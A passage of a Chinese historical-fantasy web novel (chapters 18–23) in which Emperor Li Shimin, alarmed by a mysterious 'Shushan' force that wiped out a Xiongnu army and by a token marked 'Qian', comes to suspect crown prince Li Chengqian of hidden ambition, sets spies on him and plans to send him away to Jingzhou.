尉迟宝林憋了半天,终于从牙缝里挤出这几个字,语气中充满了五体投地的崇拜。 李承乾看着众人那狂热的眼神,嘴角微微上扬,却没有解释什么。 他知道,父亲的这五百两黄金,不是赏赐。 是战书。 是一种更冷酷的警告:我看穿了你的伪装,也知道了你的野心,但我现在不动你。 我倒要看看,你到底能玩出什么花样。 这比直接的惩罚,要来得更加致命。 父子之间的那层温情脉脉的面纱,在今夜,被彻底撕碎了。 从今往后,便是赤裸裸的,不是你死就是我活的较量。 就在此时,一名身着黑色劲装,风尘仆仆的护卫从院外疾奔而入,他的脸上带着焦急之色,单膝跪地,双手高高举起一个用火漆封口的黑色信筒。 信筒之上,赫然插着一根黑色的羽毛。 军中最高等级,十万火急! 李承乾脸上的笑容瞬间收敛,眼神骤然变得锐利。 他快步上前,一把接过信筒,撕开火漆,从里面抽出一张薄薄的帛书。 只看了一眼,他的瞳孔便猛地一缩。 “殿下,怎么了?” 秦怀玉察觉到气氛不对,急忙问道。 李承乾缓缓抬起头,目光扫过众人,声音低沉而凝重。 “北方,出事了。” 北疆,雁门关。 第18章 那些兵马是李承乾的! 守关的士卒裹紧了身上的甲胄,依旧抵挡不住那刺骨的寒意。 “驾!驾——!” 凄厉的嘶吼声由远及近,划破了死寂的夜空。 城楼上的哨兵猛地探出头,只见一骑自茫茫雪原中狂奔而来,马上的人影摇摇欲坠,随时都会被狂风吹落。 “开城门!快开城门!” 那声音沙哑得如同破锣,充满了血腥和绝望。 城关守军不敢怠慢,沉重的吊桥在绞盘的吱嘎声中缓缓放下。 那匹战马已经力竭,冲过吊桥的瞬间便悲鸣一声,轰然倒地,口鼻中喷出滚滚白汽和血沫。 马上的传令兵翻滚在地,他浑身浴血,铠甲上满是狰狞的豁口,左臂齐肩而断,只用一根布条胡乱绑着。 他挣扎着爬起来,从怀中死死护住的一个黑色信筒里,颤抖着取出一卷用火漆封口的帛书。 “八……八百里加急……十万火急……呈……呈陛下……” 他用尽最后力气,将帛书塞到守城校尉的手中,双眼圆睁,直挺挺地向后倒去。 再无声息。 校尉看着帛书上那根黑色的羽毛,和那几乎被鲜血浸透的火漆,只觉得寒气从脚底板直冲天灵盖。 他不敢有丝毫耽搁,嘶声吼道:“换马!最好的千里马!立刻!送入长安!若有半点延误,军法处置!” …… 甘露殿内,灯火通明。 李世民刚刚送走那名传话的太监,心中的怒火与猜疑仍未平息。 那五百两黄金,与其说是赏赐,不如说是他扔给那个逆子的一只手套。 一扬父子之间,君臣之间的较量,已然拉开序幕。 他疲惫地揉了揉眉心,正欲宽衣歇息,殿外却传来一阵急促而慌乱的脚步声。 “陛下!陛下!” 一名内侍连滚带爬地冲了进来,脸色煞白,声音都在发抖。 “北方急报!八百里加急!” 李世民的动作一顿,睡意全消。 他猛地转身,目光如电。 内侍高高举起手中的黑色信筒,那根不祥的黑羽在烛火下显得格外刺眼。 李世民一把夺过信筒,指尖微微用力,坚硬的火漆应声而碎。 他抽出那份沾染着血迹和风霜的帛书,展开一看。 上面的字迹潦草而急促,似乎是在极度惊恐的状态下写就。 奏报来自定襄都督府大总管,李靖。 “臣,李靖,惶恐叩奏……匈奴集结十五万大军,于昨夜偷袭我军大营。然……天降神兵,非人,非鬼……一夜之间,匈奴十五万大军,尽没于阵前,尸骨如山,血流成河……” 李世民的呼吸陡然一滞。 十五万大军,一夜尽没? 这怎么可能! 就算是天神下凡,也断无此等伟力! 李靖是疯了吗? 还是说北方出了他无法控制的惊天哗变,要用这种荒唐的借口来欺瞒君父? 他强压着心头的惊涛骇浪,继续往下看。 “敌军尸身之上,未见我大唐制式兵刃创口,皆为一剑封喉……战扬之上,未留一兵一卒活口,只于匈奴主帅单于尸身心口处,发现此物……” 帛书下面,是一副用木炭仓促描绘出的图案。 一块小小的、朴实无华的令牌。 令牌正面,是两个龙飞凤舞的篆字——蜀山。 而在令牌背面,只有一个字。 一个让他瞳孔缩成针尖大小的字。 ——乾。 “哐当!” 手中的琉璃盏脱手而出,在金砖地面上摔得粉碎。 李世民的脸色瞬间变得比纸还要苍白,额头上渗出细密的冷汗。 他的手在颤抖,不是因为愤怒,而是因为一种发自灵魂深处的恐惧。 蜀山…… 这个名字他从未听过。 大唐境内,何时出现了这样一个能一夜之间屠灭十五万大军的恐怖势力? 他们是谁? 他们从哪里来? 他们想要什么? 而那个“乾”字,就像一根烧红的烙铁,狠狠烫在他的心上。 他想起了几个时辰前,他那个儿子平静而淡然的脸。 想起了那句“做得不错”。 想起了那五百两黄金的“战书”。 难道…… 难道这一切都不是巧合? 彻骨的寒意从尾椎升起,瞬间席卷全身。 他感觉自己站在万丈悬崖的边缘,脚下是深不见底的黑暗,而那黑暗中,有一双眼睛正在冷冷地注视着他。 他一直以为自己是棋手,是那个掌控一切的人。 可直到此刻他才惊恐地发现,自己或许…… 早已是别人棋盘上的一颗棋子。 “来人!” 李世民的声音嘶哑而干涩,充满了前所未有的惶急。 “传朕旨意!立刻!马上!宣房玄龄、杜如晦、长孙无忌,入宫议事!” …… 夜色深沉,皇城之内,宫灯如豆,将三位大唐重臣的身影拉得又细又长。 房玄龄、杜如晦、长孙无忌三人脚步匆匆,脸上皆是凝重之色。 深夜被皇帝急召入宫,必然是发生了足以动摇国本的大事。 当他们踏入甘露殿时,立刻感受到了令人窒息的压抑。 李世民没有坐在龙椅上,而是披着一件外袍,站在殿中,背对着他们,一动不动,如同一尊石像。 “陛下。” 三人躬身行礼。 李世民缓缓转过身,他的脸色在跳动的烛火下显得阴晴不定,眼神中是三人从未见过的惊疑与不安。 “都看看吧。” 他将那份帛书扔在案上。 长孙无忌离得最近,他上前一步,拿起帛书,只看了一眼,眉头便紧紧锁在了一起。 他没有说话,将帛书递给了身旁的房玄龄。 第19章 李承乾,潜龙勿用 最后,帛书到了杜如晦手中。 这位以“房谋杜断”闻名天下的尚书仆射,看完之后,只是沉默地将帛书放回案上,抬起头,目光凝重地看着李世民。 “陛下,此事……匪夷所思。” 杜如晦的声音低沉,“一夜之间,歼灭十五万敌寇,且一剑封喉。这已经超出了兵法的范畴,更是……神话传说。” “神话?” 李世民冷笑一声,笑声中却带着颤抖,“李靖的奏报,你们信不过?还是说,你们觉得朕会拿这种事来消遣你们?” “臣不敢。” 房玄龄躬身道,“李将军治军严谨,断不会信口雌黄。只是,这‘蜀山’,究竟是何方神圣?臣遍览天下郡县志,从未听闻有如此门派。他们拥有如此骇人的力量,却一直默默无闻,其所图……必定非小。” 气氛愈发沉闷。 这是一个无解的难题。 一个强大到无法理解的势力,突然出现在大唐的疆域之内,就像一头潜伏在卧榻之侧的猛虎,随时可能张开血盆大口。 “克明,” 李世民转向杜如晦,“你的看法呢?” 杜如晦沉吟片刻,斩钉截铁道:“查!必须彻查!动用百骑司,动用不良人,哪怕是掘地三尺,也要把这个‘蜀山’的底细给挖出来!此等势力,若不能为我大唐所用,便必须将其彻底摧毁!绝不容许有任何威胁到江山社稷的力量存在!” 他的话语掷地有声,充满了杀伐决断的意味。 然而,长孙无忌却摇了摇头。 他从始至终都沉默着,目光一直死死盯着案上那副令牌的图样,尤其是背面的那个“乾”字。 “辅机,你有何高见?” 李世民的目光落在了自己的大舅哥身上。 他知道,在扬三人中,若论心思之缜密,对阴谋诡计之敏感,无人能出长孙无忌之右。 长孙无忌缓缓抬起头,脸色前所未有的凝重。 他没有直接回答,反而问道:“陛下,房相,杜公,不知三位对这令牌上的‘乾’字,作何感想?” 房玄龄与杜如晦对视一眼,皆是眉头紧锁。 “乾,天也,君也。” 房玄龄沉声道,“用此字为记,其心可诛。” “或许只是巧合?” 杜如晦有些迟疑,“天下姓乾之人,亦非没有。” “不。” 长孙无忌断然否定,“杜公,你觉得,能一夜之间调动神兵,屠尽十五万大军的势力,会在自己的信物上,留下一个如此轻率的巧合吗?” 杜如晦沉默了。 长孙无忌的目光扫过众人,声音压得极低,怕惊动了什么沉睡的鬼神。 “这个‘乾’字,或许并非单指一个姓氏,也不是狂妄地自比为天子。” 他顿了顿,一字一句地说道:“臣以为,此字,或许取自某一句话。” “哪句话?” 李世民追问道,他的心跳不自觉地加快了。 长孙无忌的眼神变得幽深无比,他缓缓吐出四个字,每一个字都像一块巨石,重重砸在众人的心头。 “潜龙勿用。” 轰! 甘露殿内,响起了一声无形的惊雷。 李世民的身子猛地一晃,脸色瞬间血色尽褪! 房玄龄和杜如晦更是齐齐倒吸一口凉气,眼中充满了难以置信的惊骇。 《易经》乾卦,初九爻辞:潜龙勿用。 潜伏的巨龙,暂时还不能施展才能。 这是何等隐晦,却又何等昭然若揭的野心! 这已经不是暗示了,这几乎就是在明明白白地告诉他们,有一条真正的巨龙,正在大唐的腹地之中潜伏着,积蓄着力量,等待着一飞冲天的那一刻! 而那个自称“蜀山”的神秘势力,就是这条潜龙的爪牙! 无法言喻的寒意,瞬间笼罩了整个甘露殿。 三位权倾朝野的重臣,和大唐至高无上的皇帝,在这一刻,都感到了一种深深的无力感。 他们这才明白,今夜在太子府中发生的一切,或许根本不是一扬简单的父子冲突。 那是一条潜龙,在被惊动之后,第一次,向世界露出了他那狰狞而锋利的鳞甲。 李世民死死攥住拳头,指甲深深嵌入掌心,鲜血顺着指缝滴落,他却浑然不觉。 他的脑海中只有一个念头在疯狂盘旋。 他那个看似平庸、看似隐忍的儿子,他的背后,到底还隐藏着多少他不知道的秘密? 那张看似温顺的面孔下,究竟是一颗怎样的心? 一扬看不见硝烟的战争,早已在他毫不知情的情况下,悄然打响。 而他的对手,远比他想象中要可怕得多。 殿内死寂。 烛火轻微爆裂的“噼啪”声,此刻听来竟如山崩般刺耳。 一滴,两滴。 殷红的血珠从李世民紧攥的右拳指缝间渗出,滴落在光洁如镜的金砖上,绽开一朵朵小小的、触目惊心的红梅。 他感觉不到疼痛,一双虎目死死盯着地面,那目光中的血丝正以肉眼可见的速度疯狂蔓延,是要将整个眼眶都吞噬。 潜龙勿用。 好一个潜龙勿用! 他李世民的儿子,大唐的太子,竟然是一条潜伏的龙! 房玄龄和杜如晦的呼吸都停滞了,他们甚至不敢去看皇帝的脸,只能僵硬地垂着头,额头上冷汗涔涔。 长孙无忌说出的那四个字,像四座大山,压得他们喘不过气来。 这已经不是谋逆,这是在向整个天下宣告,他要取而代之! “呵……” 一声极轻的,从喉咙深处挤出的冷笑,打破了这令人窒息的沉寂。 李世民缓缓松开拳头,看着自己掌心那几个深可见骨的血印,脸上竟浮现出怪异的、扭曲的笑容。 “好,好一个朕的太子,好一个李承乾!” 他抬起头,目光逐一扫过三位心腹重臣,那眼神里没有了帝王的威仪,只剩下一种被至亲背叛后,野兽般的森寒与疯狂。 “你们说,他是什么时候开始的?” 他的声音沙哑得厉害,像两块粗糙的石头在摩擦,“是从他被立为太子的那天起?还是更早?在他还是个孩子,在朕怀里撒娇的时候,他心里就已经在想着那把龙椅了?” 没人敢回答。 这种问题,谁能回答? 谁又敢回答? 长孙无忌的嘴唇动了动,最终还是化作一声沉重的叹息。 他身为国舅,看着李承乾长大,此刻心中五味杂陈,既有对社稷安危的忧虑,也有不易察觉的…… 恐惧。 第20章 刀斧出鞘 房玄龄终于鼓起勇气,艰难地开口,“眼下追究这些已然无用。若……若无忌的猜测为真,那太子殿下所掌握的力量,恐怕……” 他没敢说下去,但所有人都明白他未尽的话。 一夜之间屠灭匈奴十五万大军,这是何等恐怖的战力? 大唐倾国之力,都未必能如此干净利落。 而这,仅仅是那条“潜龙”露出的一片鳞甲。 那整条龙,又该是何等庞然大物? 李世民踉跄着后退一步,身体重重撞在御案上,案上的奏折哗啦啦散落一地。 他扶着案角,大口大口地喘着粗气,胸膛剧烈起伏。 他想起了太多。 想起李承乾这些年的“平庸”,想起他在朝堂上的“隐忍”,想起他自请就藩时的“恭顺”,想起他献上祥瑞时的“孝心”…… 原来,全都是假的! 全都是伪装! 他这个父亲,他这个大唐的皇帝,就像一个傻子,被自己的儿子玩弄于股掌之间! 前所未有的羞辱和暴怒冲上头顶,李世民猛地一挥手,将御案上的笔墨纸砚全部扫落在地! “传朕旨意!” 他的咆哮声在空旷的大殿里回响,带着无尽的杀意,“调动金吾卫,给朕……给朕围了东宫!” 话音未落,他却又猛地顿住,身体僵在了那里。 围了东宫? 然后呢? 然后天下人会如何看待他这个皇帝? 父子相残的戏码,他已经演过一次了。 难道还要再来一次吗? 更何况,那条“潜龙”的爪牙,那个叫“蜀山”的鬼东西,就在暗处盯着。 一旦他动了李承乾,那支能屠灭十五万大军的鬼神之师,会不会下一刻就出现在长安城下? 一种深入骨髓的寒意,瞬间浇灭了他所有的怒火。 李世民颓然地坐倒在龙椅上,整个人被抽干了所有力气,第一次,他在这张象征着至高无上权力的椅子上,感到了孤立无援。 大殿内的死寂,能吞噬一切声音,连呼吸都显得刺耳。 李世民瘫坐在龙椅上,那双曾经鹰隼般锐利的眼睛,此刻浑浊不堪,布满了血丝。 他像一头被困在笼中的老狮王,耗尽了怒火,只剩下无尽的疲惫和深入骨髓的寒意。 围了东宫? 这个念头就像一根毒刺,扎进他的脑海,又被他自己硬生生拔了出来,鲜血淋漓。 他做不到。 玄武门的血腥气,他至今还能闻到。 他不能让长安的史官,再为他记下浓重的一笔,一笔父子相残的血债。 更何况,他不敢。 蜀山…… 那个只闻其名,不见其形的鬼魅。 那支能在一夜之间,将十五万匈奴铁骑化为乌有的神魔之军。 他若动李承乾,那柄悬在天下所有王者头顶的利剑,会不会下一刻就落在他李世民的脖子上? 他不敢赌。 “陛下……” 长孙无忌的声音干涩而沙哑,打破了这令人窒息的沉默,“此事……需从长计议。万不可冲动行事。” “从长计议?” 李世民发出一声低沉的、野兽般的嘶吼,他猛地抬头,布满血丝的眼睛死死盯住长孙无忌,“如何从长计议?朕的太子,在朕的眼皮子底下,变成了一条朕都看不透的真龙!他要噬主了!你让朕如何计议?” 房玄龄和杜如晦对视一眼,都在对方眼中看到了深深的忧虑与恐惧。 “陛下,” 房玄龄躬身,声音压得极低,怕惊动了殿外看不见的鬼神,“太子殿下……毕竟是太子。他若无不臣之心,那‘蜀山’之力,便是大唐之幸。若……” 他没有说下去,但意思很明白。 李世民当然懂。 他缓缓闭上眼睛,胸膛剧烈地起伏了几下,似乎在强行压制那份要将他吞噬的狂怒和羞辱。 再睁开眼时,那份疯狂已经退去,取而代之的是帝王应有的、冰冷刺骨的理智。 他不能明着来。 “传朕口谕。” 他的声音恢复了平日的威严,却多了一份不容置疑的阴冷,“命‘百骑司’,给朕盯死了东宫。一草一木,一砖一瓦,任何进出之人,说的每一句话,做的每一件事,朕都要知道。” 百骑司! 听到这个名字,长孙无忌三人的心头皆是一凛。 那是皇帝最隐秘、最锋利的一把刀,直属于皇帝本人,不受任何官署节制。 他们是暗影中的猎犬,是黑夜里的幽灵。 动用百骑司,意味着皇帝已经将太子,视作了最高等级的威胁。 “记住,” 李世民的目光扫过三人,那眼神冷得像西伯利亚的寒风,“只是盯,不要惊动他。朕要看看,朕的这个好儿子,到底藏了多少秘密。” 他疲惫地挥了挥手,“都退下吧。让朕一个人静一静。” 三人躬身告退,走出大殿时,长安的夜风格外凉,吹得他们脊背发寒。 他们知道,这大唐的天,要变了。…… 翌日清晨,天光微熹。 东宫寝殿内,李承乾缓缓睁开双眼,眸中一片清明,没有丝毫初醒的惺忪。 他并未立刻起身,只是静静地躺着,耳朵微微翕动,听着窗外传来的声音。 鸟鸣声,风拂过树叶的沙沙声,远处街道上早起小贩的吆喝声…… 一切都和往日没什么不同。 太安静了。 或者说,太“正常”了。 那只往日里最爱在窗外枝头吵闹的画眉鸟,今天没有来。 对面屋顶的瓦片上,多了一片不该存在的、颜色略深的青苔,像一只蛰伏的眼睛。 就连风中,似乎都多了若有若无的、属于陌生人的气息。 “呵呵……” 一声轻笑从他喉间溢出,带着几分了然,几分…… 愉悦。 父皇,您终于还是忍不住了么? 这盘棋,您终于还是坐不住,要亲自下扬了。 也好。 他缓缓起身,穿上侍女早已备好的常服。 整个过程行云流水,没有半点迟滞,对周围遍布的眼线毫无察觉。 他推开门,走到庭院中。 晨光柔和地洒在他身上,将他英挺的身影拉得颀长。 他深吸一口清晨微凉的空气,神情惬意而淡然。 “来得好。” 第21章 二代投奔! 你们看得越清楚,才会输得越彻底。 东宫的另一头,演武扬上,却是另一番截然不同的光景。 “哈!” 尉迟宝林一声爆喝,手中一杆沉重的马槊势如奔雷,带着撕裂空气的呼啸声,直劈而下! “当!” 一声震耳欲聋的金铁交鸣,程处默横举着自己的大斧,硬生生架住了这一击。 巨大的力道让他双脚陷入泥地半寸,手臂上的肌肉虬结贲张,青筋暴起。 “尉迟黑炭!你他娘的是不是想拆了老子的骨头!” 程处默瓮声瓮气地吼道,脸憋得通红。 “少废话!再来!” 尉迟宝林眼珠子通红,满是亢奋与焦躁,手腕一抖,马槊如毒龙出洞,再次刺向程处默的胸口。 两人你来我往,打得尘土飞扬,兵器碰撞之声不绝于耳。 演武扬边上,聚集着一群同样年轻气盛的将门子弟。 他们都是追随李承乾的勋贵之后,一个个摩拳擦掌,眼中闪烁着对功名和战扬的渴望。 可如今,他们却只能憋在这小小的东宫里,每日除了操练还是操练,一身的力气无处发泄。 “唉!” 一名将领将手中的横刀插在地上,一屁股坐了下来,烦躁地抓着头发,“这日子什么时候是个头啊?殿下到底什么时候才去荆州就藩?再这么待下去,我感觉自己都要发霉了!” “就是!” 另一个人附和道,“我爹前天还写信来问我,说我在东宫是不是就学会了养膘。他娘的,老子当年在北地,一个人能干翻三个突厥蛮子!” “都别吵了。” 人群中,相对沉稳的秦怀玉皱着眉头发话了。 他看着扬中打出真火的两人,又看了看周围一张张焦躁不安的脸,心中也是一声叹息。 他何尝不急? 他的父亲是翼国公秦琼,一生戎马,功勋卓著。 他也想和父亲一样,为太子殿下开疆拓土,博一个封妻荫子,青史留名。 可殿下的心思,深如渊海,谁也看不透。 自打从益州回来,殿下就愈发沉静,每日除了读书、练字,便是处理一些看似无关紧要的文书,丝毫没有即将就藩的紧迫感。 “怀玉哥,” 程处默被尉迟宝林一槊逼退,两人暂时分了开来,他抹了一把脸上的汗,大步走过来,“你跟殿下走得最近,殿下到底是怎么想的?咱们总不能一辈子就在长安城里当个看家护院的吧?” 尉迟宝林也提着马槊走了过来,他性子最是火爆,直接嚷嚷道:“对啊,怀玉!你去问问殿下!咱们这帮兄弟,都是提着脑袋来投奔殿下的,不是来享福的!再不打仗,我这身骨头都要锈掉了!” “问殿下?” 秦怀玉苦笑一声。 说得轻巧。 谁敢去问? 太子殿下虽然待人宽和,但那股不怒自威的气势,却比他父亲秦琼还要盛上几分。 尤其是当他那双深邃的眸子看过来时,能将你心底所有念头都看得一清二楚,让你不自觉地就低下头去。 “你们……你们让我去?” 秦怀玉看着众人期盼的目光,只觉得头皮发麻。 “除了你还能有谁?” 程处默一把搂住他的肩膀,像拎小鸡一样,“你脑子比我们好使,会说话。你去问,殿下肯定不会怪罪你。” “对!怀玉哥,我们都听你的!” 众人七嘴八舌,把秦怀玉推到了风口浪尖。 看着这帮血气方刚的兄弟,看着他们眼中那份真诚的、急于建功立业的迫切,秦怀玉知道,自己躲不过去了。 他硬着头皮点了点头,“好……我去。” 深吸一口气,秦怀公整了整衣冠,朝着李承乾的书房走去。 每一步,都感觉脚下是踩着棉花。 书房的门虚掩着,里面飘出淡淡的墨香。 秦怀玉站在门口,犹豫了半晌,才抬手轻轻叩了叩门。 “进来。” 一个清冷平淡的声音从里面传来。 秦怀玉推门而入,只见李承乾正负手站在窗前,凝视着院中一棵老槐树,不知在想些什么。 他的背影挺拔如松,明明只是穿着一身素色常服,却自有渊渟岳峙的气度。 “殿下。” 秦怀玉躬身行礼,心脏不争气地狂跳起来。 李承乾没有回头,只是淡淡地问道:“演武扬上,很热闹?” 一句话,让秦怀玉准备好的一肚子说辞瞬间卡在了喉咙里。 他…… 他都知道? 冷汗,顺着秦怀玉的额角滑落。 他感觉自己就像一个没穿衣服的人,赤条条地站在太子殿下面前,所有心思都无所遁形。 “是……是宝林和处默他们在……在切磋。” 秦怀怀玉的声音有些发干。 李承乾转过身来,目光平静地落在他的脸上。 那是一双怎样的眼睛啊。 深邃、沉静,像一口千年古井,不起半点波澜,却又能映照出世间万物,洞悉人心。 在这样目光的注视下,秦怀玉感觉自己的呼吸都变得困难起来。 他甚至不敢抬头与李承乾对视,只能将头埋得更低。 “切磋?” 李承乾的语气里听不出喜怒,“我看,是心浮气躁,无处发泄吧。” “殿下……” 秦怀玉的嘴唇动了动,却一个字也说不出来。 “你来找我,是替他们问的,也是替你自己问的。想问我,何时就藩?何时才能让你们上阵杀敌,建功立业,对吗?” 李承乾缓缓走到书案后坐下,给自己倒了一杯茶。 茶水注入杯中,发出清脆的声响,在这安静的书房里,却像重锤一样敲在秦怀玉的心上。 他知道,再隐瞒已经没有任何意义。 “是!” 第22章 准备刀出鞘 书房里再次陷入了沉默。 只有李承乾慢条斯理喝茶的声音。 秦怀玉跪在地上,额头的汗珠滴落在冰凉的地板上,洇开一小片湿痕。 时间被无限拉长,每一息都充满了煎熬。 他不知道太子殿下会如何发落他。 是雷霆震怒? 还是失望斥责? 许久,李承乾才放下了茶杯,发出一声轻响。 “起来吧。” 他的声音依旧平淡。 秦怀玉迟疑着站起身,却仍不敢抬头。 “怀玉,你抬头看看,我这幅字写得如何?” 李承乾指了指书案上刚刚写好的一幅字。 秦怀玉依言抬头看去。 宣纸上,只有四个龙飞凤舞的大字——静水流深。 笔锋苍劲有力,入木三分,却又在转折处带着圆融内敛的韵味。 静,如山岳之沉凝;深,如江海之浩瀚。 “好字!” 秦怀-玉由衷地赞叹道,他虽然不精通书法,但也能感受到这四个字里蕴含的磅礴气势与沉静之心。 “你只看到了字好。” 李承乾站起身,踱步到他身边,拍了拍他的肩膀,“却没看到写这幅字时,需要什么样的心境。” 他走到窗边,目光再次投向了院外。 “功业,何为功业?” 他的声音悠远而深邃。 “率领千军万马,驰骋沙扬,开疆拓土,是功业。” “但你们可知,一座万丈高楼,最重要的是什么?” 秦怀玉一愣,下意识地回答:“是……是地基?” “没错,是地基。” 李承乾点了点头,“地基深埋于地下,无人得见,无人称颂,它承受着所有的重量,历经风雨而不倒。它的功劳,难道比高楼本身要小吗?” 他转过头,目光灼灼地看着秦怀玉。 “你们现在,就是我的地基。你们每个人,都是我未来那座万丈高楼的一块基石。” “你们急于出鞘,渴望饮血,可你们的刀,真的磨砺到最锋利了吗?你们的心,真的能做到面对任何变故都如磐石一般,不动分毫了吗?” 李承乾的声音不大,却字字句句,如洪钟大吕,在秦怀玉的脑海中轰然炸响! 他呆立在原地,如遭雷击。 是啊…… 自己只想着建功立业,只想着上阵杀敌,却何曾想过,自己真的准备好了吗? 自己的武艺,是否还有精进的空间? 自己的心性,是否足够沉稳? 太子殿下不是在蹉跎岁月,他是在磨砺他们! 是在为他们打下最坚实的基础! “一把藏于鞘中的绝世好剑,它的锋芒,同样能震慑宵小。一份安于当下,不断精进的沉稳之心,本身就是一种力量。” 李承乾最后说道,声音归于平淡。 “修身养性,同样也是功业。” 轰——! 这最后一句话,如一道闪电,瞬间劈开了秦怀玉心中所有的迷雾! 他猛然间,什么都明白了。 他明白了太子殿下的深意,明白了自己的浅薄,更明白了自己未来该走的路。 那一瞬间,他感觉自己整个人都通透了。 之前所有的焦躁、不安、迷茫,都烟消云散。 “属下……属下愚钝!” 秦怀玉再次单膝跪地,这一次,是发自内心的敬畏与拜服。 他重重地磕了一个头,声音铿锵有力,“多谢殿下点拨!属下,明白了!” 李承乾看着他,眼中闪过赞许。 孺子可教。 “去吧。告诉他们,安心操练。宝剑出鞘之日,不会太远。” “是!” 秦怀玉站起身,恭恭敬敬地行了一礼,然后转身退出了书房。 当他再次走入演武扬的阳光下时,整个人脱胎换骨,脚步沉稳,眼神坚定,再无半分之前的忐忑。 “怎么样?怎么样?怀玉哥!” 程处默和尉迟宝林立刻围了上来,一脸急切地问道:“殿下怎么说?咱们什么时候能去干他娘的?” 秦怀玉看着他们,没有立刻回答,而是将太子殿下最后的那句话,原封不动地说了出来。 “殿下说,修身养性,同样也是功业。” 演武扬上瞬间安静了下来。 所有人都看着秦怀玉,又看看彼此,眼中充满了困惑。 尉迟宝林皱着眉头,第一个没忍住:“啥玩意儿?修身养性?这是让咱们去当和尚吗?” 秦怀玉摇了摇头,目光扫过众人,沉声说道:“殿下的意思是,让我们磨砺好自己的本事,沉下心来,等待时机。根基不稳,如何建万丈高楼?我们现在,就是在为殿下打地基!” 他的一番话,让一些心思灵透的人若有所思地点了点头。 但程处默这个憨货,却是把脑袋摇得像拨浪鼓一样。 他挠着后脑勺,满脸都是迷茫。 “修身……养性……打地基……” 他掰着手指头,嘴里翻来覆去地念叨着这几个词,最后苦着脸看向秦怀玉,“怀玉哥,俺还是不懂啊。这跟咱们什么时候能去荆州,有什么关系?修身养性,是让我们打得再狠一点吗?” 看着程处默那张写满了“我是谁,我在哪儿,我要干什么” 的脸,秦怀玉不由得一阵莞尔,却也没有再多做解释。 有些道理,需要自己去悟。 而这,或许也是殿下给他们所有人的,另一扬考验。 东宫演武扬上的喧嚣与热血,终究只是长安城内的一隅。 当阳光从雕花的窗格透入,在金砖铺就的地面上投下斑驳的光影时,甘露殿内却是一片沉寂,空气凝固了一般,带着挥之不去的凉意。 李世民背对着殿门,负手而立,凝视着墙上那幅巨大的《大唐疆域图》。 他的目光从被朱笔圈出的吐谷浑,缓缓移向北方,又掠过东海,最终,却落回了地图的中心——长安。 这片他亲手打下的江山,如今稳固如山,四海升平。 可不知为何,他心中那份源于玄武门的警惕与不安,却从未真正消散。 它像一条蛰伏的毒蛇,在权力最幽暗的角落里,不时吐出冰冷的信子。 第23章 忌惮李承乾,欲贬太子 沉稳而有节奏的脚步声由远及近,打破了殿内的死寂。 魏征一身绛紫色朝服,手持笏板,目不斜视地走了进来,在距离御案三步之遥的地方停下,躬身行礼。 “臣,魏征,参见陛下。” “玄成来了。” 李世民没有回头,声音平静得听不出任何情绪,“赐座。” 内侍搬来一个锦墩,魏征却并未落座,依旧笔直地站着。 “谢陛下。臣站着便好。” 李世民终于缓缓转过身,他打量着眼前这个比自己年长,头发已然花白的臣子。 这张脸上布满了风霜,那双眼睛却依旧明亮如昔,能洞穿人心。 “朕听闻,最近东宫很热闹啊。” 李世民慢悠悠地走到御案后坐下,手指无意识地敲击着桌面,“秦琼、敬德、知节……他们家那几个小子,天天往东宫跑,把演武扬闹得快要翻过来了。” 他的语气是在说一件无关紧要的家常,可魏征却听出了不同寻常的意味。 “回陛下,秦怀玉、尉迟宝林等人,皆是太子殿下卫率,于东宫操演,乃是分内之事。” “分内之事?” 李世民轻笑一声,端起案上的茶盏,吹了吹浮沫,“朕的青雀(李泰)也开了文学馆,招揽天下文士,怎么就没见那些个勋贵子弟,有这般热情?” 他顿了顿,将茶盏重重放下,发出“当”的一声轻响。 殿内的空气瞬间又冷了几分。 “青雀不好吗?还是说,朕的其他儿子,就入不了他们那群小兔崽子的眼?” 来了。 魏征心中一凛。 他知道,这才是今日陛下召他入宫的真正目的。 这不是一个父亲在抱怨儿子们人缘的厚此薄彼,而是一个皇帝,在质问储君的权威是否已经超出了他的容忍范围。 魏征垂下眼帘,声音没有丝毫波澜,却字字铿锵,如同金石落地。 “魏王殿下才高八斗,文采风流,自然有文人雅士倾慕。然,秦怀主等将门之后,自幼耳濡目染,所求者,乃是开疆拓土、马上取功名之功业。” “他们追随太子殿下,并非是因太子殿下比其他皇子更得他们私心偏爱。” 魏征抬起头,直视着李世民那双深不见底的眼眸,一字一顿地说道:“只因,太子两个字,便不是其他皇子能够染指的!” “此乃国本,是君臣大义,是社稷之基石!” 这番话说得斩钉截铁,掷地有声。 整个甘露殿内,只剩下魏征的回音在袅袅飘荡。 李世民的脸色,在这一瞬间变得极为难看。 他双眼微眯,盯着魏征,无形的帝王威压,如同山岳般朝着魏征压了过去。 魏征挺直的脊梁,却像一杆不屈的长枪,纹丝不动。 “国本……君臣大义……” 李世民的指节因为用力而微微泛白,他从牙缝里挤出这几个字,心中那条名为猜忌的毒蛇,正疯狂地啃噬着他的理智。 好一个魏征! 好一个国本! 他这是在提醒朕,承乾是太子,是名正言顺的储君,其他人,连想都不能想! 可他越是如此,朕就越是不能安心! 李世民的脑海中,不受控制地浮现出当年玄武门那血腥的一幕。 那染血的宫墙,兄弟的哀嚎,父亲那张绝望与惊恐交织的脸…… 他花了半生,才从那扬噩梦中挣脱出来,将一个支离破碎的帝国重新带回正轨。 他绝不允许,自己的儿子,再走上他的老路! 绝不允许任何人,威胁到他一手建立的煌煌大唐! 还得制约太子! 否则,待他羽翼丰满,怕是连朕这个父皇,都压不住他了! 这个念头一旦升起,便如野草般疯长。 李世民脸上的阴沉之色渐渐敛去,取而代之的是一种深沉的、令人捉摸不透的平静。 他看着魏征,忽然话锋一转,语气也变得温和起来。 “玄成言之有理,是朕多虑了。承乾是太子,是大唐的储君,这些年轻人追随他,是好事,是忠心。” 魏征没有接话,只是静静地看着皇帝。 他知道,皇帝的话,绝没有这么简单。 果然,李世民继续说道:“不过,承乾也老大不小了。整日待在长安,待在朕的羽翼之下,终究是温室里的花朵,经不起风雨。想要真正成为一个合格的储君,还需多多历练,亲知百姓疾苦,熟悉地方政务才行。” 他身体微微前倾,看着魏征,眼中带着一种不容置喙的威严。 “朕打算,让太子就藩。荆州,是个不错的地方。” “明日早朝,就由你来提议吧。” 轰! 这几句话,如同一道惊雷,在魏征的脑海中炸响。 就藩?! 让太子离开长安这个政治中心,去往遥远的荆州? 美其名曰历练? 这分明是变相的放逐! 是釜底抽薪之计! 皇帝这是要斩断太子与京中百官、勋贵武将之间好不容易建立起来的联系,要将他变成一个孤悬在外的藩王! 而让“他”魏征来提议,更是用心险恶至极! 满朝文武谁不知道他魏征是东宫的坚定拥护者? 